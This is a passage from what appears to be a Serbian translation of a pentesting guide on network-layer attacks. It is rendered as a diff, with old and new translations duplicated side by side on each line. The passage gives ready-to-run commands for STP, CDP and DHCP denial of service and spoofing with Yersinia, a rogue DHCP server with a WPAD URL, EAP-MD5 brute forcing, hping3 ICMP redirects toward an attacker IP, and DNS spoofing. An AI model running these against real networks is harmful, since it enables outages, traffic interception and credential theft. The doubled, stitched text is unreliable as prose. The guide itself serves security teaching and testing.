* **Podskup Obaveštenja:** Poslat nakon promena konfiguracije VLAN-ova. * **Subset Advertisement:** Šalje se nakon promena u VLAN konfiguraciji.
* **Zahtev za Obaveštenjem:** Izdaje ga VTP klijent kako bi zatražio Sažeto Obaveštenje, obično kao odgovor na otkrivanje većeg revizijskog broja konfiguracije. * **Advertisement Request:** Izdaje ga VTP klijent da zatraži Summary Advertisement, obično kao odgovor na otkrivanje višeg broja revizije konfiguracije.
VTP ranjivosti su iskorišćive isključivo putem trunk portova jer se VTP obaveštenja kruže samo kroz njih. Scenariji napada nakon DTP-a mogu se preusmeriti ka VTP-u. Alati poput Yersinie mogu olakšati VTP napade, sa ciljem brisanja baze podataka VLAN-ova, efikasno remeteći mrežu. VTP ranjivosti su iskoristive isključivo putem trunk portova, jer VTP obaveštenja cirkulišu samo kroz njih. Post-DTP scenariji napada mogu se preusmeriti ka VTP-u. Alati poput Yersinia mogu olakšati VTP napade, sa ciljem da unište VLAN bazu podataka, efikasno ometajući mrežu.
Napomena: Ova diskusija se odnosi na VTP verziju 1 (VTPv1). Napomena: Ova diskusija se odnosi na VTP verziju 1 (VTPv1).
````bash ````bash
%% yersinia -G # Launch Yersinia in graphical mode ``` %% yersinia -G # Launch Yersinia in graphical mode ```
```` ````
### Napadi STP-a U Yersinia-inom grafičkom režimu, izaberite opciju za brisanje svih VTP VLAN-ova da biste očistili VLAN bazu podataka.
**Ako ne možete uhvatiti BPDU okvire na svojim interfejsima, malo je verovatno da ćete uspeti u napadu na STP.** ### STP Napadi
**Ako ne možete da uhvatite BPDU okvire na vašim interfejsima, malo je verovatno da ćete uspeti u STP napadu.**
#### **STP BPDU DoS** #### **STP BPDU DoS**
Slanjem velikog broja BPDU okvira TCP (obaveštenje o promeni topologije) ili Conf (BPDU okviri koji se šalju prilikom kreiranja topologije) preopterećuju se prekidači i prestaju pravilno raditi. Slanjem velikog broja BPDUs TCP (Obaveštenje o promeni topologije) ili Conf (BPDUs koji se šalju kada se topologija kreira) prekidači su preopterećeni i prestaju da rade ispravno.
```bash ```bash
yersinia stp -attack 2 yersinia stp -attack 2
yersinia stp -attack 3 yersinia stp -attack 3
#Use -M to disable MAC spoofing #Use -M to disable MAC spoofing
``` ```
#### **STP TCP Napad** #### **STP TCP Attack**
Kada se TCP pošalje, CAM tabela prekidača će biti obrisana za 15s. Zatim, ako neprekidno šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (ili svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub. Kada se TCP pošalje, CAM tabela prekidača će biti obrisana za 15s. Tada, ako neprekidno šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (ili svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub.
```bash ```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
``` ```
#### **Napad na STP koren** #### **STP Root Attack**
Napadač simulira ponašanje prekidača kako bi postao STP koren mreže. Zatim će više podataka prolaziti kroz njega. Ovo je interesantno kada ste povezani sa dva različita prekidača.\ Napadač simulira ponašanje prekidača kako bi postao STP root mreže. Tada će više podataka prolaziti kroz njega. Ovo je zanimljivo kada ste povezani na dva različita prekidača.\
Ovo se postiže slanjem BPDUs CONF paketa koji govore da je vrednost **prioriteta** manja od stvarnog prioriteta stvarnog korenskog prekidača. To se postiže slanjem BPDUs CONF paketa koji govore da je **prioritet** vrednost manja od stvarnog prioriteta stvarnog root prekidača.
```bash ```bash
yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
``` ```
**Ako napadač ima pristup 2 prekidača, može postati koren novog stabla i sav saobraćaj između tih prekidača će prolaziti kroz njega** (izvršiće se napad čovek-u-sredini). **Ako je napadač povezan na 2 prekidača, može postati koren novog stabla i sav saobraćaj između tih prekidača će prolaziti kroz njega** (biće izvršen MITM napad).
```bash ```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
``` ```
### Napadi CDP-a ### CDP Napadi
CISCO Discovery Protocol (CDP) je ključan za komunikaciju između CISCO uređaja, omogućavajući im da **identifikuju jedan drugog i dele detalje konfiguracije**. CISCO Discovery Protocol (CDP) je ključan za komunikaciju između CISCO uređaja, omogućavajući im da **identifikuju jedni druge i dele detalje konfiguracije**.
#### Pasivno prikupljanje podataka <a href="#id-0e0f" id="id-0e0f"></a> #### Pasivno prikupljanje podataka <a href="#id-0e0f" id="id-0e0f"></a>
CDP je konfigurisan da emituje informacije kroz sve portove, što može predstavljati sigurnosni rizik. Napadač, nakon povezivanja na switch port, može implementirati mrežne snifere poput **Wireshark**, **tcpdump**, ili **Yersinia**. Ova akcija može otkriti osetljive podatke o mrežnom uređaju, uključujući njegov model i verziju Cisco IOS-a koji koristi. Napadač može zatim ciljati specifične ranjivosti u identifikovanoj verziji Cisco IOS-a. CDP je podešen da emituje informacije kroz sve portove, što može dovesti do bezbednosnog rizika. Napadač, prilikom povezivanja na port prekidača, može koristiti mrežne sniffer-e kao što su **Wireshark**, **tcpdump** ili **Yersinia**. Ova akcija može otkriti osetljive podatke o mrežnom uređaju, uključujući njegov model i verziju Cisco IOS-a koju koristi. Napadač bi zatim mogao ciljati specifične ranjivosti u identifikovanoj verziji Cisco IOS-a.
#### Izazivanje preplavljivanja CDP tabele <a href="#id-0d6a" id="id-0d6a"></a> #### Indukcija CDP Tabele Flooding <a href="#id-0d6a" id="id-0d6a"></a>
Agresivniji pristup uključuje pokretanje napada Denial of Service (DoS) preplavljujući memoriju switch-a, praveći se da su legitimni CISCO uređaji. U nastavku je niz komandi za pokretanje takvog napada korišćenjem alata Yersinia, mrežnog alata dizajniranog za testiranje: Agresivniji pristup uključuje pokretanje napada uskraćivanja usluge (DoS) preplavljivanjem memorije prekidača, pretvarajući se da su legitimni CISCO uređaji. Ispod je redosled komandi za pokretanje takvog napada koristeći Yersinia, alat za testiranje mreže:
```bash ```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach: # Alternatively, for a GUI approach:
sudo yersinia -G sudo yersinia -G
``` ```
Tokom ovog napada, CPU prekidača i CDP tabela suseda su jako opterećeni, što dovodi do onoga što se često naziva **"paraliza mreže"** zbog prekomerne potrošnje resursa. Tokom ovog napada, CPU prekidača i CDP tabela suseda su jako opterećeni, što dovodi do onoga što se često naziva **“paraliza mreže”** zbog prekomerne potrošnje resursa.
#### Napad na impersonaciju CDP-a #### CDP Impersonation Attack
```bash ```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet sudo yersinia cdp -attack 0 #Send a CDP packet
``` ```
Takođe možete koristiti [**scapy**](https://github.com/secdev/scapy/). Obavezno ga instalirajte sa paketom `scapy/contrib`. Možete takođe koristiti [**scapy**](https://github.com/secdev/scapy/). Obavezno ga instalirajte sa `scapy/contrib` paketom.
### Napadi na VoIP i alat VoIP Hopper ### VoIP napadi i VoIP Hopper alat
VoIP telefoni, sve više integrisani sa IoT uređajima, nude funkcionalnosti poput otključavanja vrata ili upravljanja termostatima putem posebnih telefonskih brojeva. Međutim, ova integracija može predstavljati sigurnosne rizike. VoIP telefoni, sve više integrisani sa IoT uređajima, nude funkcionalnosti poput otključavanja vrata ili kontrolisanja termostata putem posebnih brojeva telefona. Međutim, ova integracija može predstavljati sigurnosne rizike.
Alat [**voiphopper**](http://voiphopper.sourceforge.net) je dizajniran da emulira VoIP telefon u različitim okruženjima (Cisco, Avaya, Nortel, Alcatel-Lucent). Otkriva VLAN ID glasovne mreže koristeći protokole poput CDP, DHCP, LLDP-MED i 802.1Q ARP. Alat [**voiphopper**](http://voiphopper.sourceforge.net) je dizajniran da emulira VoIP telefon u raznim okruženjima (Cisco, Avaya, Nortel, Alcatel-Lucent). Otkriva VLAN ID glasovne mreže koristeći protokole kao što su CDP, DHCP, LLDP-MED i 802.1Q ARP.
**VoIP Hopper** nudi tri moda za Cisco Discovery Protocol (CDP): **VoIP Hopper** nudi tri moda za Cisco Discovery Protocol (CDP):
1. **Režim Sniff** (`-c 0`): Analizira mrežne pakete kako bi identifikovao VLAN ID. 1. **Sniff Mode** (`-c 0`): Analizira mrežne pakete kako bi identifikovao VLAN ID.
2. **Režim Spoof** (`-c 1`): Generiše prilagođene pakete koji imitiraju pakete stvarnog VoIP uređaja. 2. **Spoof Mode** (`-c 1`): Generiše prilagođene pakete koji imitiraju one stvarnog VoIP uređaja.
3. **Spoof sa Pre-made Packet Mode** (`-c 2`): Šalje pakete identične onima određenog modela Cisco IP telefona. 3. **Spoof with Pre-made Packet Mode** (`-c 2`): Šalje pakete identične onima određenog Cisco IP telefonskog modela.
Preferirani režim za brzinu je treći. Potrebno je specificirati: Preferirani mod za brzinu je treći. Zahteva specificiranje:
* Mrežni interfejs napadača (parametar `-i`). * Mrežnog interfejsa napadača (`-i` parametar).
* Ime VoIP uređaja koji se emulira (parametar `-E`), pridržavajući se Cisco formata imenovanja (npr. SEP praćeno MAC adresom). * Imena VoIP uređaja koji se emulira (`-E` parametar), u skladu sa Cisco formatom imenovanja (npr. SEP praćeno MAC adresom).
U korporativnim okruženjima, kako bi se imitirao postojeći VoIP uređaj, moglo bi se: U korporativnim okruženjima, da bi se imitirao postojeći VoIP uređaj, može se:
* Pregledati MAC oznaku na telefonu. * Ispitati MAC oznaku na telefonu.
* Navigirati kroz postavke ekrana telefona kako bi se vidjele informacije o modelu. * Navigirati podešavanjima prikaza telefona da bi se videli podaci o modelu.
* Povezati VoIP uređaj sa laptopom i posmatrati CDP zahteve korišćenjem alata Wireshark. * Povezati VoIP uređaj na laptop i posmatrati CDP zahteve koristeći Wireshark.
Primer komande za izvršavanje alata u trećem modu bio bi: Primer komande za izvršavanje alata u trećem modu bio bi:
```bash ```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
``` ```
### Napadi DHCP ### DHCP Napadi
#### Nabrojavanje #### Enumeracija
```bash ```bash
nmap --script broadcast-dhcp-discover nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
@ -500,59 +505,59 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
``` ```
**DoS** **DoS**
Protiv DHCP servera mogu se izvršiti **dve vrste DoS** napada. Prvi se sastoji od **simuliranja dovoljno lažnih hostova kako bi se iskoristile sve moguće IP adrese**.\ **Dva tipa DoS** mogu se izvesti protiv DHCP servera. Prvi se sastoji u **simulaciji dovoljno lažnih hostova da se iskoriste sve moguće IP adrese**.\
Ovaj napad će uspeti samo ako možete videti odgovore DHCP servera i završiti protokol (**Otkrij** (Računar) --> **Ponudi** (server) --> **Zahtev** (Računar) --> **Potvrda** (server)). Na primer, ovo **nije moguće u Wifi mrežama**. Ovaj napad će raditi samo ako možete videti odgovore DHCP servera i završiti protokol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na primer, ovo **nije moguće u Wifi mrežama**.
Drugi način izvođenja DHCP DoS je slanje **DHCP-RELEASE paketa koristeći kao izvorni kod svaku moguću IP adresu**. Tada će server pomisliti da je svako završio sa korišćenjem IP adrese. Drugi način za izvođenje DHCP DoS je slanje **DHCP-RELEASE paketa koristeći kao izvorni kod svaku moguću IP adresu**. Tada će server pomisliti da su svi završili sa korišćenjem IP adrese.
```bash ```bash
yersinia dhcp -attack 1 yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed yersinia dhcp -attack 3 #More parameters are needed
``` ```
Način automatskog obavljanja ovoga je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig) Jedan automatskiji način za to je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig)
Možete koristiti pomenute DoS napade da biste naterali klijente da dobiju nove zakupljene adrese unutar okruženja, i iscrpeli legitimne servere kako bi postali neodzivni. Tako kada legitimni pokušaju ponovno da se povežu, **možete poslužiti zlonamerne vrednosti navedene u sledećem napadu**. Možete koristiti pomenute DoS napade da primorate klijente da dobiju nove zakupnine unutar okruženja i iscrpite legitimne servere tako da postanu neodgovorni. Tako kada se legitimni pokušaju ponovo povezati, **možete poslužiti zlonamerne vrednosti pomenute u sledećem napadu**.
#### Postavljanje zlonamernih vrednosti #### Postavljanje zlonamernih vrednosti
Lažni DHCP server može biti postavljen korišćenjem DHCP skripte smeštene na `/usr/share/responder/DHCP.py`. Ovo je korisno za mrežne napade, poput hvatanja HTTP saobraćaja i akreditiva, preusmeravanjem saobraćaja ka zlonamernom serveru. Međutim, postavljanje lažne gateway-a je manje efikasno jer dozvoljava samo hvatanje odlaznog saobraćaja sa klijenta, propuštajući odgovore od pravog gateway-a. Umesto toga, postavljanje lažnog DNS ili WPAD servera se preporučuje za efikasniji napad. Rogue DHCP server može biti postavljen koristeći DHCP skriptu koja se nalazi na `/usr/share/responder/DHCP.py`. Ovo je korisno za mrežne napade, poput hvatanja HTTP saobraćaja i kredencijala, preusmeravanjem saobraćaja na zlonamerni server. Međutim, postavljanje rogue gateway-a je manje efikasno jer samo omogućava hvatanje izlaznog saobraćaja sa klijenta, propuštajući odgovore sa pravog gateway-a. Umesto toga, preporučuje se postavljanje rogue DNS ili WPAD servera za efikasniji napad.
Ispod su opcije komandi za konfigurisanje lažnog DHCP servera: Ispod su opcije komandi za konfiguraciju rogue DHCP servera:
* **Naša IP adresa (Oglašavanje gateway-a)**: Koristite `-i 10.0.0.100` da oglašavate IP vašeg računara kao gateway. * **Naša IP adresa (Gateway Advertisement)**: Koristite `-i 10.0.0.100` da reklamirate IP vaše mašine kao gateway.
* **Lokalno DNS ime domena**: Opciono, koristite `-d example.org` da postavite lokalno DNS ime domena. * **Lokalno DNS ime domena**: Opcionalno, koristite `-d example.org` da postavite lokalno DNS ime domena.
* **Originalni Router/Gateway IP**: Koristite `-r 10.0.0.1` da specificirate IP adresu legitimnog rutera ili gateway-a. * **Originalni Router/Gateway IP**: Koristite `-r 10.0.0.1` da navedete IP adresu legitimnog rutera ili gateway-a.
* **Primarni DNS Server IP**: Koristite `-p 10.0.0.100` da postavite IP adresu lažnog DNS servera koji kontrolišete. * **Primarna DNS Server IP**: Koristite `-p 10.0.0.100` da postavite IP adresu rogue DNS servera koji kontrolišete.
* **Sekundarni DNS Server IP**: Opciono, koristite `-s 10.0.0.1` da postavite IP adresu sekundarnog DNS servera. * **Sekundarna DNS Server IP**: Opcionalno, koristite `-s 10.0.0.1` da postavite sekundarnu DNS server IP.
* **Netmaska lokalne mreže**: Koristite `-n 255.255.255.0` da definišete netmasku za lokalnu mrežu. * **Mrežna maska lokalne mreže**: Koristite `-n 255.255.255.0` da definišete mrežnu masku za lokalnu mrežu.
* **Interfejs za DHCP saobraćaj**: Koristite `-I eth1` da osluškujete DHCP saobraćaj na određenom mrežnom interfejsu. * **Interfejs za DHCP saobraćaj**: Koristite `-I eth1` da slušate DHCP saobraćaj na određenom mrežnom interfejsu.
* **WPAD Konfiguraciona adresa**: Koristite `-w “http://10.0.0.100/wpad.dat”` da postavite adresu za WPAD konfiguraciju, pomažući u presretanju web saobraćaja. * **WPAD konfiguraciona adresa**: Koristite `-w “http://10.0.0.100/wpad.dat”` da postavite adresu za WPAD konfiguraciju, pomažući u presretanju web saobraćaja.
* **Lažiranje IP adrese podrazumevanog gateway-a**: Uključite `-S` da lažirate IP adresu podrazumevanog gateway-a. * **Lažiranje IP adrese podrazumevanog gateway-a**: Uključite `-S` da lažirate IP adresu podrazumevanog gateway-a.
* **Odgovor na sve DHCP zahteve**: Uključite `-R` da server odgovara na sve DHCP zahteve, ali budite svesni da je ovo bučno i može biti otkriveno. * **Odgovarajte na sve DHCP zahteve**: Uključite `-R` da server odgovara na sve DHCP zahteve, ali budite svesni da je ovo bučno i može biti otkriveno.
Pravilnim korišćenjem ovih opcija, lažni DHCP server može biti uspostavljen da efikasno presretne mrežni saobraćaj. Ispravnim korišćenjem ovih opcija, rogue DHCP server može biti uspostavljen za efikasno presretanje mrežnog saobraćaja.
```python ```python
# Example to start a rogue DHCP server with specified options # Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
``` ```
### **EAP Napadi** ### **EAP napadi**
Evo nekih taktika napada koje se mogu koristiti protiv implementacija 802.1X: Evo nekih od taktika napada koje se mogu koristiti protiv 802.1X implementacija:
* Aktivno grubo silovanje lozinke putem EAP-a * Aktivno brute-force otkrivanje lozinki putem EAP
* Napad na RADIUS server sa neispravnim EAP sadržajem _(eksploatacije)_ * Napad na RADIUS server sa neispravnim EAP sadržajem _\*\*_(eksploati)
* Snimanje EAP poruka i offline pucanje lozinke (EAP-MD5 i PEAP) * Snimanje EAP poruka i offline otkrivanje lozinki (EAP-MD5 i PEAP)
* Prisiljavanje EAP-MD5 autentikacije radi zaobilaženja provere TLS sertifikata * Prisiljavanje EAP-MD5 autentifikacije da zaobiđe TLS validaciju sertifikata
* Ubacivanje zlonamernog mrežnog saobraćaja prilikom autentikacije korišćenjem hub-a ili slično * Umetanje zlonamernog mrežnog saobraćaja prilikom autentifikacije koristeći hub ili slično
Ako je napadač između žrtve i servera za autentikaciju, mogao bi pokušati da degradira (ako je potrebno) protokol autentikacije na EAP-MD5 i snimi pokušaj autentikacije. Zatim, mogao bi grubo silovati ovo korišćenjem: Ako je napadač između žrtve i servera za autentifikaciju, mogao bi pokušati da degradira (ako je potrebno) autentifikacijski protokol na EAP-MD5 i snimi pokušaj autentifikacije. Zatim bi mogao da koristi brute-force za ovo:
``` ```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
``` ```
### Napadi FHRP (GLBP & HSRP) <a href="#id-6196" id="id-6196"></a> ### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) je klasa mrežnih protokola dizajnirana da **stvori redundantni sistem za rutiranje**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u distribuciji opterećenja. **FHRP** (First Hop Redundancy Protocol) je klasa mrežnih protokola dizajniranih da **kreiraju vrući redundantni sistem rutiranja**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u raspodeli opterećenja.
**Inženjeri kompanije Cisco Systems su razvili dva FHRP protokola, GLBP i HSRP.** **Inženjeri Cisco Systems-a su razvili dva FHRP protokola, GLBP i HSRP.**
{% content-ref url="glbp-and-hsrp-attacks.md" %} {% content-ref url="glbp-and-hsrp-attacks.md" %}
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
@ -560,43 +565,43 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
### RIP ### RIP
Postoje tri verzije Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagrami se šalju vršnjacima preko porta 520 korišćenjem UDP-a od strane RIP-a i RIPv2, dok se datagrami emituju na UDP port 521 putem IPv6 multicast-a od strane RIPng. Podrška za MD5 autentikaciju je uvedena od strane RIPv2. S druge strane, RIPng ne uključuje nativnu autentikaciju; umesto toga, oslanja se na opcione IPsec AH i ESP zaglavlja unutar IPv6. Poznate su tri verzije Protokola za informisanje o rutiranju (RIP): RIP, RIPv2 i RIPng. Datagrami se šalju partnerima putem porta 520 koristeći UDP kod RIP i RIPv2, dok se datagrami emitiraju na UDP port 521 putem IPv6 multicast kod RIPng. Podrška za MD5 autentifikaciju je uvedena RIPv2. S druge strane, nativna autentifikacija nije uključena u RIPng; umesto toga, oslanja se na opcione IPsec AH i ESP zaglavlja unutar IPv6.
* **RIP i RIPv2:** Komunikacija se vrši putem UDP datagrama na portu 520. * **RIP i RIPv2:** Komunikacija se vrši putem UDP datagrama na portu 520.
* **RIPng:** Koristi UDP port 521 za emitovanje datagrama putem IPv6 multicast-a. * **RIPng:** Koristi UDP port 521 za emitovanje datagrama putem IPv6 multicast.
Napomena: RIPv2 podržava MD5 autentikaciju dok RIPng ne uključuje nativnu autentikaciju, oslanjajući se na IPsec AH i ESP zaglavlja u IPv6. Napomena: RIPv2 podržava MD5 autentifikaciju dok RIPng ne uključuje nativnu autentifikaciju, oslanjajući se na IPsec AH i ESP zaglavlja u IPv6.
### Napadi na EIGRP ### EIGRP Attacks
**EIGRP (Enhanced Interior Gateway Routing Protocol)** je dinamički rutirni protokol. **To je distance-vector protokol.** Ako nema **autentikacije** i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP rutiranje i izazvati **trovanje tabela rutiranja**. Osim toga, EIGRP mreža (tj. autonomni sistem) **je ravna i nema segmentaciju u zone**. Ako **napadač ubaci rutu**, verovatno je da će se ova ruta **proširiti** kroz autonomni EIGRP sistem. **EIGRP (Enhanced Interior Gateway Routing Protocol)** je dinamički protokol rutiranja. **To je protokol zasnovan na udaljenosti.** Ako nema **autentifikacije** i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP rutiranje i izazvati **trovanje tabela rutiranja**. Štaviše, EIGRP mreža (drugim rečima, autonomni sistem) **je ravna i nema segmentaciju u bilo koje zone**. Ako **napadač injektuje rutu**, verovatno će se ova ruta **proširiti** kroz autonomni EIGRP sistem.
Napad na EIGRP sistem zahteva **uspostavljanje susedstva sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovnog izviđanja do različitih ubrizgavanja. Da bi se napao EIGRP sistem, potrebno je **uspostaviti komšiluk sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovne rekognosciranja do raznih injekcija.
[**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole.** Sve što treba da uradite je da ga implementirate na sistemu napadača i zapravo možete se pretvarati da ste legitimni ruter u domenu rutiranja. [**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole.** Sve što treba da uradite je da ga postavite na sistem napadača i možete se zapravo pretvarati da ste legitimni ruter u rutirajućem domenu.
{% content-ref url="eigrp-attacks.md" %} {% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md) [eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %} {% endcontent-ref %}
[**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje EIGRP (Enhanced Interior Gateway Routing Protocol) emitovanja. Takođe omogućava ubrizgavanje paketa, što se može koristiti za izmenu konfiguracija rutiranja. [**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje EIGRP (Enhanced Interior Gateway Routing Protocol) emitovanja. Takođe omogućava injekciju paketa, što se može iskoristiti za promenu konfiguracija rutiranja.
### OSPF ### OSPF
U Open Shortest Path First (OSPF) protokolu **MD5 autentikacija se često koristi kako bi se osigurala sigurna komunikacija između rutera**. Međutim, ova sigurnosna mera može biti kompromitovana korišćenjem alata poput Loki i John the Ripper. Ovi alati su sposobni da uhvate i dešifruju MD5 hešove, otkrivajući autentikacioni ključ. Kada se ovaj ključ dobije, može se koristiti za unošenje novih rutinskih informacija. Za konfigurisanje parametara rute i uspostavljanje kompromitovanog ključa, koriste se kartice _Injection_ i _Connection_, redom. U protokolu Open Shortest Path First (OSPF) **MD5 autentifikacija se obično koristi za obezbeđivanje sigurne komunikacije između rutera**. Međutim, ova sigurnosna mera može biti kompromitovana korišćenjem alata kao što su Loki i John the Ripper. Ovi alati su sposobni da hvataju i razbijaju MD5 hešove, otkrivajući autentifikacioni ključ. Kada se ovaj ključ dobije, može se koristiti za uvođenje novih informacija o rutiranju. Za konfiguraciju parametara rute i uspostavljanje kompromitovanog ključa koriste se _Injection_ i _Connection_ kartice, redom.
* **Hvatanje i Dešifrovanje MD5 Hešova:** Alati poput Loki i John the Ripper se koriste u tu svrhu. * **Hvatanje i razbijanje MD5 hešova:** Alati kao što su Loki i John the Ripper se koriste u tu svrhu.
* **Konfigurisanje Parametara Rute:** To se radi putem kartice _Injection_. * **Konfiguracija parametara rute:** Ovo se vrši putem _Injection_ kartice.
* **Postavljanje Kompromitovanog Ključa:** Ključ se konfiguriše pod karticom _Connection_. * **Postavljanje kompromitovanog ključa:** Ključ se konfiguriše pod _Connection_ karticom.
### Ostali Generički Alati i Izvori ### Other Generic Tools & Sources
* [**Above**](https://github.com/c4s73r/Above): Alat za skeniranje mrežnog saobraćaja i pronalaženje ranjivosti * [**Above**](https://github.com/c4s73r/Above): Alat za skeniranje mrežnog saobraćaja i pronalaženje ranjivosti
* Možete pronaći **više informacija o mrežnim napadima** [**ovde**](https://github.com/Sab0tag3d/MITM-cheatsheet). * Možete pronaći neke **dodatne informacije o mrežnim napadima** [**ovde**](https://github.com/Sab0tag3d/MITM-cheatsheet).
## **Falsifikovanje identiteta (Spoofing)** ## **Spoofing**
Napadač konfiguriše sve mrežne parametre (GW, IP, DNS) novog člana mreže slanjem lažnih DHCP odgovora. Napadač konfiguriše sve mrežne parametre (GW, IP, DNS) novog člana mreže šaljući lažne DHCP odgovore.
```bash ```bash
Ettercap Ettercap
yersinia dhcp -attack 2 #More parameters are needed yersinia dhcp -attack 2 #More parameters are needed
@ -607,26 +612,26 @@ Proverite [prethodni odeljak](./#arp-spoofing).
### ICMPRedirect ### ICMPRedirect
ICMP preusmeravanje se sastoji od slanja ICMP paketa tipa 1 kôda 5 koji ukazuje da je napadač najbolji način da se dođe do određene IP adrese. Zatim, kada žrtva želi da kontaktira tu IP adresu, poslaće paket preko napadača. ICMP Redirect se sastoji od slanja ICMP paketa tipa 1 kod 5 koji ukazuje da je napadač najbolji način za pristup IP-u. Tada, kada žrtva želi da kontaktira IP, poslaće paket kroz napadača.
```bash ```bash
Ettercap Ettercap
icmp_redirect icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
``` ```
### DNS Prevara ### DNS Spoofing
Napadač će rešiti neke (ili sve) domene za koje žrtva traži. Napadač će rešiti neke (ili sve) domene koje žrtva traži.
```bash ```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
``` ```
**Konfigurišite sopstveni DNS pomoću dnsmasq-a** **Konfigurišite vlastiti DNS sa dnsmasq**
```bash ```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS dig @localhost domain.example.com # Test the configured DNS
``` ```
### Lokalni prolazi ### Lokalni prolazi
Često postoje više ruta do sistema i mreža. Nakon što napravite listu MAC adresa unutar lokalne mreže, koristite _gateway-finder.py_ da identifikujete hostove koji podržavaju IPv4 prosleđivanje. Više ruta do sistema i mreža često postoji. Nakon izrade liste MAC adresa unutar lokalne mreže, koristite _gateway-finder.py_ da identifikujete hostove koji podržavaju IPv4 prosleđivanje.
``` ```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/ root@kali:~# cd gateway-finder/
@ -644,37 +649,37 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
